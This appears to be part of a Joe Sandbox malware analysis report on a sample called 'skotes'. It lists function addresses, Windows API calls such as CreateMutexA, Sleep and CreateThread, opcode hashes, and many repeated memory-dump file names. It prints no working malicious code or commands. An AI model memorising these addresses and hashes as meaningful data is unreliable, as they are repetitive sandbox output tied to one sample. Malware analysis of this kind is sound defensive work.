Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 7e0acda120aa178e7f14bcac65fcf2f1cd3283e60c251ce092a1a2421946cf79
Instruction ID: 2998001245363495a8025fa92993d0a510600f3f0c12fbf7d523e65ec04a789b
Opcode Fuzzy Hash: 7e0acda120aa178e7f14bcac65fcf2f1cd3283e60c251ce092a1a2421946cf79
Instruction Fuzzy Hash: 6E312671B011008BEF08DB7CDC89B6DB766EBC5314F248618E0549B6D1CB3A998187A3

Function 0099A682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0099A685
Sleep.KERNEL32(00000064,?), ref: 0099A963
CreateMutexA.KERNEL32(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: c5e70fc64ee4c0f325ca56b4b92ad6eee6b8a4a8a2c7eb6887dc78744d91db30
Instruction ID: 2105bb3c5cf841480a5710379710bdc30307764895dfccad44a11576aeb75d2b
Opcode Fuzzy Hash: c5e70fc64ee4c0f325ca56b4b92ad6eee6b8a4a8a2c7eb6887dc78744d91db30
Instruction Fuzzy Hash: 62313971A042409BEF18DBBCDC89B6DB7B6EFC5314F248618E018976D1C73A998187E3

Function 0099A7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0099A7BA
Sleep.KERNEL32(00000064,?), ref: 0099A963
CreateMutexA.KERNEL32(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 9bc7005075aa178332615753f7de89e9d693a4f337a190027afc62523e81c2f2
Instruction ID: c5de45480f227a0e4b015c78abf78348df0e80ace3ff03e9513c72f0bb87b7a3
Opcode Fuzzy Hash: 9bc7005075aa178332615753f7de89e9d693a4f337a190027afc62523e81c2f2
Instruction Fuzzy Hash: B5315971B002048FEF08DF7CDD89BADB776EBC5314F208618E018976D1DB3A998187A2

Function 009C6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51647ada9cd74f502d3842640cbe8a747e508f73058d78e41119563b1ba45e7c
Instruction ID: ba705ea9e7d3ac5a14771dd43eeb956bd48975cf26b4df001a7e323a5bf10368
Opcode Fuzzy Hash: 51647ada9cd74f502d3842640cbe8a747e508f73058d78e41119563b1ba45e7c
Instruction Fuzzy Hash: 1921B872D052046AEB116BA8AC41F9F7729DF81374F10021DF9642B1D1DB749E0596A3

Function 0099A960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 0099A963
CreateMutexA.KERNEL32(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6de5f51ec3f03b58506277766fca161e089e5f00af19d608b23d147e2e1348f4
Instruction ID: 78895f5d560110aadca256082cc6e3f8de7fc03d1c805878a036ae3219e38e87
Opcode Fuzzy Hash: 6de5f51ec3f03b58506277766fca161e089e5f00af19d608b23d147e2e1348f4
Instruction Fuzzy Hash: 43E0CD5069D3009DFF503B6C7C85F7E735CDBD5704F214418E61CC64D18D56555181B7

Function 009A6D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 009A6D11
Sleep.KERNEL32(00007530), ref: 009A6D25

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: fb83b5e04a34386a4bd1cef0c65f797cab6a116cbd853c0f7ddde152f46b27a8
Instruction ID: b1f45ff27235f3c6efc27c9910a87a00c3973c4512648e2e64f5f442f79bac24
Opcode Fuzzy Hash: fb83b5e04a34386a4bd1cef0c65f797cab6a116cbd853c0f7ddde152f46b27a8
Instruction Fuzzy Hash: 0CD08C307D4314F6F23017202C0BF26AA209B4BF51F2D484073A83F0D0C1E8340087E8

Function 00998380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00998524

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
